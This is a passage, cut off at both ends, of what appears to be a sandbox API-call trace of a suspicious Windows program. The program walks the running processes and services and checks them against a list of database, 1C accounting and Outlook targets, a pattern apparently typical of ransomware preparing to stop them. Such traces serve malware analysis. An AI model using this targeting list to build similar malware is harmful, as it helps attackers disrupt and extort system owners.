(lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0155.236] lstrlenW (lpString="Winmgmt") returned 7 [0155.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0155.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0155.236] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0155.236] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0155.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0155.237] lstrlenW (lpString="WPDBusEnum") returned 10 [0155.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0155.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0155.237] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0155.237] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0155.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0155.237] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x433e1b8 | out: hHeap=0x630000) returned 1 [0155.237] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338 [0155.239] Process32FirstW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0155.239] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0155.239] lstrlenW (lpString="System") returned 6 [0155.239] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0155.239] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0155.239] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0155.239] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0155.239] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0155.239] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0155.239] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0155.239] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0155.240] lstrlenW (lpString="smss.exe") returned 8 [0155.240] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0155.240] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0155.240] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0155.240] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0155.240] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0155.240] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0155.240] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0155.240] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0155.240] lstrlenW (lpString="csrss.exe") returned 9 [0155.240] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0155.240] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0155.240] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0155.240] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0155.240] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0155.240] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0155.240] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0155.240] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0155.241] lstrlenW (lpString="wininit.exe") returned 11 [0155.241] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0155.241] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0155.241] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0155.241] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0155.241] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0155.241] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0155.241] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0155.241] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0155.242] lstrlenW (lpString="csrss.exe") returned 9 [0155.242] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0155.242] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0155.242] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0155.242] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0155.242] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0155.242] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0155.242] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0155.242] lstrlenW (lpString="winlogon.exe") returned 12 [0155.242] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0155.242] lstrlenW (lpString="services.exe") returned 12 [0155.243] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0155.243] lstrlenW (lpString="lsass.exe") returned 9 [0155.243] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0155.244] lstrlenW (lpString="lsm.exe") returned 7 [0155.244] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.244] lstrlenW (lpString="svchost.exe") returned 11 [0155.244] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.244] lstrlenW (lpString="svchost.exe") returned 11 [0155.244] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.244] lstrlenW (lpString="svchost.exe") returned 11 [0155.245] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.245] lstrlenW (lpString="svchost.exe") returned 11 [0155.245] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.245] lstrlenW (lpString="svchost.exe") returned 11 [0155.245] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0155.246] lstrlenW (lpString="audiodg.exe") returned 11 [0155.246] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.246] lstrlenW (lpString="svchost.exe") returned 11 [0155.246] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0155.246] lstrlenW (lpString="userinit.exe") returned 12 [0155.246] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0155.247] lstrlenW (lpString="explorer.exe") returned 12 [0155.247] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0155.247] lstrlenW (lpString="dwm.exe") returned 7 [0155.247] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.247] lstrlenW (lpString="svchost.exe") returned 11 [0155.247] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0155.248] lstrlenW (lpString="n.exe") returned 5 [0155.248] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0155.248] lstrlenW (lpString="spoolsv.exe") returned 11 [0155.248] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.248] lstrlenW (lpString="svchost.exe") returned 11 [0155.248] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0155.249] lstrlenW (lpString="taskhost.exe") returned 12 [0155.249] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0155.249] lstrlenW (lpString="reader_sl.exe") returned 13 [0155.249] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0155.249] lstrlenW (lpString="rundll32.exe") returned 12 [0155.249] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0155.249] lstrlenW (lpString="n.exe") returned 5 [0155.250] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x374, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0155.250] lstrlenW (lpString="consent.exe") returned 11 [0155.250] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0155.250] lstrlenW (lpString="dllhost.exe") returned 11 [0155.250] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0155.251] CloseHandle (hObject=0x338) returned 1 [0155.251] Sleep (dwMilliseconds=0x1f4) [0155.799] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42dccb8 [0155.799] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0155.800] GetLastError () returned 0xea [0155.800] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x433e1b8 [0155.800] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x433e1b8, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x433e1b8, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0155.800] CloseServiceHandle (hSCObject=0x42dccb8) returned 1 [0155.800] lstrlenW (lpString="Appinfo") returned 7 [0155.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0155.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0155.801] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0155.801] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0155.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0155.801] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0155.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0155.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0155.801] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0155.801] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0155.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0155.801] lstrlenW (lpString="AudioSrv") returned 8 [0155.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0155.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0155.801] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0155.801] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0155.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0155.801] lstrlenW (lpString="BFE") returned 3 [0155.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0155.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0155.801] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0155.801] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0155.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0155.801] lstrlenW (lpString="CryptSvc") returned 8 [0155.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0155.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0155.801] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0155.801] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0155.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0155.801] lstrlenW (lpString="CscService") returned 10 [0155.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0155.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0155.802] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0155.802] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0155.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0155.802] lstrlenW (lpString="DcomLaunch") returned 10 [0155.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0155.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0155.802] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0155.802] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0155.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0155.802] lstrlenW (lpString="Dhcp") returned 4 [0155.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0155.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0155.802] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0155.802] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0155.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0155.802] lstrlenW (lpString="Dnscache") returned 8 [0155.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0155.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0155.802] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0155.802] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0155.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0155.802] lstrlenW (lpString="DPS") returned 3 [0155.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0155.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0155.802] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0155.802] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0155.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0155.802] lstrlenW (lpString="eventlog") returned 8 [0155.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0155.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0155.802] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0155.803] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0155.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0155.803] lstrlenW (lpString="EventSystem") returned 11 [0155.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0155.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0155.803] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0155.803] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0155.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0155.803] lstrlenW (lpString="gpsvc") returned 5 [0155.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0155.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0155.803] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0155.803] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0155.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0155.803] lstrlenW (lpString="iphlpsvc") returned 8 [0155.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0155.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0155.803] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0155.803] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0155.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0155.803] lstrlenW (lpString="LanmanServer") returned 12 [0155.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0155.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0155.803] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0155.803] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0155.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0155.803] lstrlenW (lpString="LanmanWorkstation") returned 17 [0155.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0155.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0155.803] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0155.803] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0155.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0155.804] lstrlenW (lpString="lmhosts") returned 7 [0155.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0155.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0155.804] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0155.804] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0155.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0155.804] lstrlenW (lpString="MMCSS") returned 5 [0155.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0155.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0155.804] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0155.804] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0155.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0155.804] lstrlenW (lpString="MpsSvc") returned 6 [0155.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0155.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0155.804] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0155.804] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0155.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0155.804] lstrlenW (lpString="Netman") returned 6 [0155.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0155.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0155.804] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0155.804] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0155.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0155.804] lstrlenW (lpString="netprofm") returned 8 [0155.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0155.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0155.804] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0155.804] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0155.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0155.804] lstrlenW (lpString="NlaSvc") returned 6 [0155.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0155.805] 